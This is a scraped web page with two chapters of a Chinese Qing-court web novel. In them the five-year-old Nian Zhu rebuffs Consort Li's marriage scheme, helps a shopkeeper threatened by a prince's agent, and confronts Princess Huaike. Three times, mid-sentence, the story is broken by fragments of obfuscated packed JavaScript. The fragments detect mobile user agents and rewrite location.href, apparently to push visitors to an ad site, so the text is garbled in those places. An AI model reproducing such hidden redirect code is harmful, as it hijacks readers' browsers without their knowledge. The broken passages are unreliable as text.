0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14253227|150510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧福晋话题一转,直冲自己而来。 “几日不见,珠珠长得是越来越好看,来日定像妹妹你似的,是个倾国倾城的大美人儿。” “我这个人啊,最喜欢女儿,一看到珠珠就想起了怀恪郡主。” 说着,她更是不由分手拉起年珠的手,故作亲昵道:“来了雍亲王府就像自己家一样,以后闲着没事就去蔷薇院玩,把我当成你亲姑姑一样。” 年珠是鸡皮疙瘩直冒,毫不犹豫将手抽了出来:“李侧福晋,有些东西假的真不了,特别是血缘亲情这种东西。” “前些日子我听说您病了,您身子好些了吗?” “看您这模样,面色尚有几分憔悴,不如好好在院子里养着。” 李侧福晋虽蠢,却也听出了年珠这是在下逐客令,心里很是不喜,想着等以后弘时将年珠娶回去后,有的是机会磨挫这小狐狸精。 她面上的喜色顿时褪去了几分,道:“珠珠啊,你果然是个孝敬长辈的好孩子,如今我有事儿要与你姑姑商量,你先下去好不好?” “不好。”年珠回答的干脆利落,笑道,“我担心您欺负姑姑,我得留下来保护姑姑。” 这话若从一个十五岁的人嘴里说出来,是毫无家教。 但年珠今年才五岁,童言无忌,谁会与一个小娃娃一般计较? 李侧福晋这下面上是彻底没了笑容。 年若兰却像没看到似的,道:“李侧福晋,你有什么话直说就是,珠珠向来早慧,又不是什么外人,没必要要她下去。” 李侧福晋自知道这话不能当着年珠说,但看着桌上满满当当的礼物,想着这话若今日不说,下次过来又得大出血,想了想,她还是开口道:“既然咱们都是姐妹,有些话也不必藏着掖着,珠珠这孩子啊,我第一次见就喜欢得很,长得好看不说,又聪明伶俐,只恨她不是从我肚子里出来的。” “我思来想去,倒想出一好法子来,若叫弘时娶了珠珠,这珠珠不就成了我的女儿?” “以后珠珠嫁来雍亲王府,自然也能日日陪在妹妹身边,你说了?” 年珠:“???” 她觉得李侧福晋的脑袋定是被驴踢了! 年若兰也是一脸惊愕,声音微扬:“你,你说什么?叫三阿哥娶珠珠?” “若是我没记错的话,三阿哥今年已经十六岁了,珠珠才五岁,难不成叫三阿哥再等珠珠十多年?” “自然不是。”李侧福晋瞧见年珠姑侄两个皆是一脸惊愕,还以为她们是高兴坏了,毕竟年氏那狐媚子最得王爷喜欢,想必已知晓弘时要被立为世子的消息,她清了清嗓子,开口道,“按理说以珠珠这家世,勉强也够格嫁给弘时当嫡福晋,可珠珠年纪也太小了点,总不能一直叫弘时等着她吧?” “我也想过了,先将弘时侧福晋的位置给珠珠留一个,等着珠珠长大了,就嫁给弘时当侧福晋!” 说话间,她的眼神几次扫向年珠,一副“你能嫁给我儿子当侧福晋,是你的福气”的模样。 21.第 21 章 若说方才年珠觉得李侧福晋的脑袋是被驴踢了,那现在,她只觉得李侧福晋的脑袋定是被驴来来回回踢了千百回。 毕竟,但凡是个正常人,谁都说不出这等话来。 眼见着年若兰脸色难看到了极点,正欲开口说话时,年珠抢在她之前率先开口道:“李侧福晋想叫我长大后给三阿哥当侧福晋?我阿玛是一品总督,我祖父曾官至二品巡抚,我额娘更是辅国公苏燕之女,若我如此身份只能给三阿哥当侧福晋,我倒是好奇,您想要给三阿哥娶什么样的女子为嫡福晋?” “只怕寻常出身的女子,根本入不了您的眼。” 她看着李侧福晋的眼睛,更是莞尔一笑:“我更是不知道三阿哥的亲事什么时候竟轮到您说了算,敢情雍亲王府中,王爷和福晋姑姑都是个摆设。” 李侧福晋瞧见这小妮子还如此牙尖嘴利,没好气道:“珠珠,你这话说的未免也太难听了点,我也就是过来问问你姑姑的意思,若你姑姑觉得这门亲事尚可,我就去找王爷……” “李侧福晋。”年若兰见她这话是越说越没谱,扬声打断她的话,“我不过珠珠的姑姑而已,我兄嫂尚在,珠珠的亲事哪里轮得到我做主?今日李侧福晋恐怕是找错了人。” “今日这话,你以后休再要提,若不然就莫要怪我将此事告诉王爷呢。” 她一向性子柔顺,甚少有有这样动怒的时候:“秦嬷嬷,送客。” 李侧福晋没想到这姑侄两人竟会拒绝,没好气道:“你们,你们……真是不知好歹,来日弘时成了世子,你们后悔都来不及!” “李侧福晋,且不说三阿哥会不会被王爷封为世子且是八字没一撇的事,就算三阿哥真成了世子,嫁给三阿哥为正妻都不是什么好事,更别说给三阿哥当侧福晋!”年珠虽没与弘时说过几句话,但她来雍亲王府这么久,对弘时也是有几分了解的,这人不聪明也就算了,身边更是有一得宠的侍妾,叫她说,谁嫁给弘时谁倒霉,“自家之子,观之皆善。” 她没好气道:“三阿哥在您眼里自然是怎么看怎么好,在旁人眼里,可不是什么香饽饽。” 她这话已说的十分明白。 李侧福晋却是不服气,还欲替弘时辩驳几句,谁知秦嬷嬷就已迎了上来。 “李侧福晋,您请吧。” “您给我们家侧福晋带的这些东西也一并带回去吧,我们家侧福晋可不缺。” 不管是论家世还是宠爱程度,年若兰都没有将这些礼物放在眼里的。 李侧福晋眼见一嬷嬷竟也敢对自己横眉冷对,气的脸上红一阵白一阵的:“好!好!真是好得很!咱们走着瞧,以后有你们后悔的时候!” 她气的是拂袖离开。 年若兰好一会才反应过来,低声呢喃:“这,这王爷什么时候说要将三阿哥立为世子的?我怎么不知道。” “姑姑,这世上有些人啊,就是给他们点颜色他们就想开染坊,想必是因圆明园之行,皇上对三阿哥夸了几句的缘故,所以李侧福晋觉得三阿哥的世子之位是板上钉钉。”年珠只觉有其母就有其子这话是一点没说错,摇摇头道,“殊不知,若王爷真有这个意思,早就奏请皇上立了世子。” “按理说福晋膝下无子,三阿哥又是王爷长子,若王爷对三阿哥有三两分看重,这世子之位就已落在他身上,可惜啊……” 可惜李侧福晋母子两人真是蠢不可言。 三阿哥弘时在雍亲王府中风评并不好,却不仅仅是因他读书学问泛泛,而是他愚笨却不自知,日日当着四爷的面那叫一乖觉老实,私下却夜夜与钟姨娘厮混在一起。 年珠并未将今日这一出闹剧放在心上。 如今中秋节已过,便宜坊售卖月饼一事已告一段落,年珠总共赚了一千六百两银子。 当年珠看到账册时,面上露出不敢置信的表情。 “司掌柜,不是说便宜坊的月饼售价不贵吗?” “既然如此,这不到一个月的时间,便宜坊光月饼这一进项岂不是赚了五千多两银子?” 这可是一笔巨款! “是。”司掌柜点头道,“虽说月饼盈利微薄,但这月饼一经推出,就生意红火,已到了一饼难求的地步,咱们便宜坊的月饼,已到了无人不知无人不晓的地步。” “薄利多销,积小成多,这才有了如此收益。” 年珠并未推辞,大大方方将司掌柜递过来的银票收了下来:“这些日子,实在是辛苦您了。” “谈不上辛苦。”司掌柜看着眼前落落大方的小女娃,道,“之前替你寻摸铺子一事,我没能帮得上什么忙,前几日你又说要我替你寻摸几个擅长种花的匠人,如今已有了眉目。” 他递给年珠几张纸,道:“这是这几个人的情况,一个个都是可靠之人。” 年珠想在四爷送他的那田庄种花,制作香膏香露售卖,自然需要擅长种花的农户。 可偏偏她额娘觉罗氏手下没有这等人,她就想到了司掌柜,司掌柜乐善好施,便宜坊中宾客如云,稍稍一打听,自然能寻摸出合适的人来。 年珠是连声道谢:“您办事,我哪里有不放心的?劳您与这几人说说,要他们去我那杂货铺找苏额木签订卖身契。” “我这性子您也知道,只要他们用心当差,我自不会亏待他们的。” 说着说着,她却察觉到对面的司掌柜似有些不对劲,直道:“司掌柜,您怎么了?您可是身子不舒服?近来天气凉了,您多注意身体。” 司掌柜连连称好。 但年珠却敏锐发现司掌柜身后跟着的随从却一副欲言又止的样子,她便道:“司掌柜,您可是遇上了什么难事儿?” 司掌柜摇头道:“没什么大事……” 但他身后那个叫平叔的随从却道:“掌柜的,都到了这时候您还要藏着掖着不成?您与年姑娘说说看,兴许她能帮您想想办法。” 年珠看着司掌柜,正色道:“司掌柜,如今咱们不说是忘年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14261991|150510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交,却也是生意伙伴,您若遇上了什么难事儿,直说就是。” “三个臭皮匠顶个诸葛亮,我自诩比臭皮匠要聪明几分的。” 司掌柜长长叹了口气,才道:“此事说来话长,正是因月饼而起。” “自便宜坊开始售卖月饼后,生意红火,京城各大酒楼糕点铺也有样学样开始卖各种月饼,可画虎不成反类犬,致美斋也是其中一家。” “致美斋的月饼,我也差人买回来尝过,味道已与咱们便宜坊月饼有五六分相似,但民以食为天,京城那些贵人嘴巴刁钻得很,一尝就能知道两家月饼的差别。” “因为这事儿,致美斋的杜掌柜找了我几次,想要出高价买月饼方子。” “但这方子是你给我的,当初我们也签字画过押,说此方子不得对外宣扬,更不得转赠、售卖给旁人,否则则视为违约,所以,我拒绝了杜掌柜。” 说到这儿,他又是长长叹了口气,怅然道:“但自那之后,便宜坊便时常有人前来闹事,我想着十有八九是杜掌柜派来的人,便差人去报官。” “但那些官差却来的一次比一次晚,就在几日前,官差没来,这杜掌柜却是来了。” “杜掌柜说再给我三日的时间考虑,若我还是冥顽不灵,就莫要怪他们不客气,杜掌柜还说,致美斋背后的主子不是别人,正是当朝九贝子,要我莫要敬酒不吃吃罚酒……” 但就算如此,他也没有想着偷偷将月饼方子交出去,不管是做生意也好,还是立身于世也好,都讲究“诚信”二字。 年珠自上次从致美斋出来后,回去就打听打听了这位九阿哥。 众所周知,一众皇阿哥分为四个等级,从高到低分别是和硕亲王、多罗郡王、多罗贝勒、固山贝子,虽说九阿哥只是贝子身份,却并不是不得宠。 据说九阿哥出身尊贵不说,更是能文能武,擅长生意,更是与八阿哥,十四阿哥等人关系要好,至于他为何会只封个贝子,是因他上头还有个当亲王的同母哥哥,皇上为表示一碗水端平,自然不会再给九阿哥较高的分封,同样的道理,哪怕十四阿哥如今荣耀无双,已被封为大将军王,却也只是贝子身份。 甚至九阿哥与大阿哥,八阿哥,十阿哥,十四阿哥等人都关系要好,他更是没有将四爷放在眼里。 年珠对这位九阿哥印象并不好,皱眉道:“那杜掌柜与九阿哥想怎么样?呵,还敬酒不吃吃罚酒呢!京城乃是天子脚下,到底还有没有王法了?” “你这小姑娘,年纪小小,脾气倒是不小。”司掌柜无奈道,“我先前之所以没想过将这件事告诉你,就是知道你会是这般反应。” 他摆摆手道:“莫要生气,我们司家先辈带着一家老小来到京城,算算时间,这便宜坊开业已有数百年。” “该赚的银子也赚的差不多,若便宜坊实在开不下去,我就带着妻儿老小回山东老家好了。” “等着你长大后,可以来山东游玩,我定好好招待你。” 22.第 22 章 一边是赚些辛苦钱、本本分分的商户,一边是出身尊贵、仗势欺人的皇子。 年珠瞧见司掌柜眼睑一片青紫、面上满是憔悴,是愈发生气。 “司掌柜,您老老实实在京城开酒楼,什么事情都没做错,为何要回山东老家?” “那杜掌柜身后有靠山,您难道就没有靠山了?” “您莫要怕他们!京城里官官相护,那些拿着朝廷俸禄的官员明知有人闹事,却是睁只眼闭只眼,真是枉费他们读了那么多圣贤书!” 她想了想,觉得这时候可不能搬出四爷来,毕竟四爷对外一贯是清心寡欲的形象:“我给您出个好主意……” 一刻钟之后,年珠这才走出了便宜坊。 开门做生意,特别是开酒楼饭馆的,一怕吃食出问题,二怕有人闹事。 人家食客高高兴兴喝酒划拳,正在兴头上,突然有人闯进来又是吵吵嚷嚷,又是摔东西的,换成谁谁都会不高兴。 年珠上马车之前回头看了眼,只见便宜坊内生意大不如从前,摇摇头道:“九阿哥这人可真是……既然你不仁,可就莫要怪我不义呢。” 福无双至,祸不单行。 年珠刚去杂货铺与苏额木说完话,要他好好安置那几个匠人。 她忙完后,刚回去雍亲王府,就听秦嬷嬷说怀恪郡主来了。 年珠下意识皱眉,没好气道:“好端端的,怀恪郡主怎么回来了?” 怀恪郡主不是旁人,正是李侧福晋所出的女儿,也是雍亲王府唯一的女儿。 四爷对女儿和对儿子是不大一样,他从未训斥过怀恪郡主不说,更是为怀恪郡主千挑万选选了门好亲事,在她出嫁之前为她求来了郡主的封号。 也正是因怀恪郡主从小被娇养着长大,本就不大聪明的她养成了跋扈娇纵的性子。 年珠可不会以为怀恪郡主恰好这时候回来,只是看看李侧福晋这么简单。 “是啊。”秦嬷嬷自在听雪轩发话,不准下头的人乱嚼舌根子后,她说话行事就小心了很多,如今低声道,“奴婢听说那日李侧福晋回去之后,气的摔了好几个茶盅,将咱们听雪轩的人从上至下骂了个遍,连雪球都没落下。” “王爷知晓怀恪郡主是何等性子,当初为她千挑万选,选了郡马纳喇·星德,虽说家世低了些,但模样、性子等等是无可挑剔,偏偏怀恪郡主不懂珍惜,日日在家中作威作福惯了的。” “如今她出嫁没几年,无子无女不说,性子比从前更加跋扈,奴婢担心……她这次回来是替李侧福晋撑腰的。” 秦嬷嬷一提起怀恪郡主来就恨的牙痒痒,毕竟怀恪郡主毒舌程度比起李侧福晋来是有过之而无不及,偏偏年若兰是长辈,即便她比年若兰小不了几岁,年若兰却也不好与她一般见识。 这会年珠本就是一肚子气,是没好气道:“兵来将挡水来土掩,若怀恪郡主来了,只管来就是了,正好我也想会会她。” “这些皇子皇孙本就出身比旁人尊贵,不想着为民分忧,为百姓谋福,却一门心思想着仗势欺人,真是过分!” “七格格。”秦嬷嬷这才察觉今日的年珠有些不一样,道,“可是还有旁的皇子皇孙欺负了你?” 年珠气鼓鼓道:“没有。” 因她是年家的女儿,寻常人都是要给她几分面子的,只是可怜了那些寻常百姓。 与年珠想的一样,怀恪郡主今日之所以回来,正是替李侧福晋撑腰的。 怀恪郡主早在在信中知晓弟弟弘时得皇上夸赞一事,也与李侧福晋想的一样,觉得弘时这世子之位是十拿九稳,如今说起年珠姑侄来那叫一毫不客气。 “额娘,您别哭了,为了这等小事哭坏了自己的眼睛可不值当。” “如今也就那年侧福晋年轻貌美,能得阿玛欢心,您且等着看吧,不出几年,她铁定要失宠,以后拿什么和您平起平坐?” “还有那年侧福晋的侄女,小小年纪就不是省油的灯,以后若真嫁给了弘时,只怕闹得家宅不宁。” 她也替自己额娘觉得委屈,索性站起身道:“额娘,您且等着吧,我去会会她们姑侄两个。” 听雪轩内的年珠刚睡下,聂乳母就匆匆忙忙闯了进来,说怀恪郡主过来给李侧福晋请安呢。 年珠自穿越至今,已养成每日晌午过后小睡一会的习惯。 如今她听说这消息,心中的不悦更是到达至顶峰。 “怀恪郡主连正院都没去,直奔听雪轩而来,我看不是来请安的,是来找茬的吧?” “哼,让我去会会她!” 年珠刚至厅堂,就碰到了迎面走过来的怀恪郡主。 怀恪郡主约莫二十出头的年纪,长得有几分像李侧福晋,模样中上,身后跟着十多个丫鬟婆子,浑身上下饰物满满,走起路来伶仃作响,整个人看起来更是十分华贵有气势,不大好相处的样子。 怀恪郡主隔着老远就看到了年珠,却是冷哼一声,径直步入正厅。 年若兰已候在厅堂。 怀恪郡主是只笑面虎,一开口先问过了年若兰近来身子如何,继而便道:“……说起来都是我的不是,当初福宜去世时也没回来一趟。” “说起来我也听额娘说起过,福宜生的很是好看可爱,只可惜,好好的孩子却是没了。” “年额娘您也别伤心,您还年轻,以后定还会有孩子的。” “不过我也提醒您一句,您这身子向来得好好养养,要不然这孩子只怕都保不住的。” 年若兰已许久因故去的福宜伤心难过,如今见她这样咒自己未出世的孩子,气的浑身发抖。 年珠却一点不觉得意外,这怀恪郡主果然不好相处。 但她并未将怀恪郡主放在眼里,这人路数与李侧福晋差不多,只是更歹毒而已,一看就和李侧福晋一样,不是个聪明的。 “怀恪郡主,您知道我祖父为何能活到七十八岁吗?” 正欲加足马力火力全开的怀恪郡主扫了她一眼,没好气道:“你祖父为何能活到七十八岁?” “因为啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14268213|150510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我祖父从不多管闲事。”年珠不动声色握住年若兰的手,嘴角含笑道,“知道内情的人晓得您是过来给姑姑请安,不知道的,还以为您是故意过来戳她心窝子,给李侧福晋撑腰的呢。” 她像是没看到怀恪郡主那不悦的脸色一般,又道:“叫我说,您有这份闲心,不如先将自己家中事理一理。” “我来雍亲王府的时间虽不长,却也时常听人说起过您的,说您嫁给郡马爷好几年,因性情娇纵跋扈一直不得郡马爷喜欢,也不准郡马爷纳妾,甚至还闹得婆家鸡犬不宁,若非您是郡主,郡马爷定要闹着休妻的。” “您自己家都是一团糟,我就不懂,您也有闲情逸致去管姑姑的事儿?姑姑虽身边无子无女,却与王爷感情极好,若有孩子,那是锦上添花,若没有孩子,也丝毫不耽误王爷对她的喜欢……” 她每多说一句,怀恪郡主的脸色就难看几分。 怀恪郡主隐约也知道背后有人在乱嚼舌根子,但她可是皇上亲封的郡主,谁敢在她跟前说三道四?但今日,眼前这小女娃却硬生生将她的遮羞布扯了下来。 下一刻,年珠更是摇摇头道:“唉,也难怪大家都那样说你们母女两个呢……” 她一向不喜戳人伤疤,但她知道,对付什么样的人就要用什么样的法子,若一次不将怀恪郡主戳痛,怀恪郡主以后时不时要回来蹦跶的。 “你……”怀恪郡主的手紧紧攥着太师椅的扶手,已自乱阵脚,跟着年珠的节奏走了起来,“大家到底是怎么说我们母女两个的?” 年珠却不肯再说,直道:“有些话,我也不好多说,你派人打听打听就知道了。” 这种事啊,哪里经得起深挖?越挖,这难听的话越多。 怀恪郡主气的不行,抬手就将桌上的茶盅洒落在地,扬声道:“你算是什么东西?莫要以为你阿玛当了几天总督,连自己有几斤几两都不知道呢。” “在我跟前,就算你阿玛再厉害,也不过一奴才!” “今日你能与我在一块说话,是你的福气,我问你什么你直说就是呢!” 随着茶盅落地,发出清脆的声音,茶汤飞溅,沾上了年珠和年若兰的裙角。 年珠眨眨眼,看着气的花容失色的怀恪郡主,笑着道:“怀恪郡主,您怎么这样生气啊,看样子,大家说的那些话都是真的呢……” 怀恪郡主突地站起身来,一副想要将年珠千刀万剐地样子。 “你这个小狐媚子,有本事你再说一遍!” 随着她的话音落下,年珠就看到门口有一抹宝蓝色的身影。 她扭头一看,这人不是四爷还能是谁? 因年若兰身体不好,晌午过后时常午睡的缘故,四爷每每过来听雪轩,总是不叫人通传的。 年珠心中暗道一声,真是天助我也,忙撒丫子朝四爷方向跑去,嘴里更是嚷嚷道:“王爷,救命啊!怀恪郡主太吓人了,她,她该不会是魔怔了吧?” 她这话说的委婉,就差直接说——怀恪郡主这是疯了吧!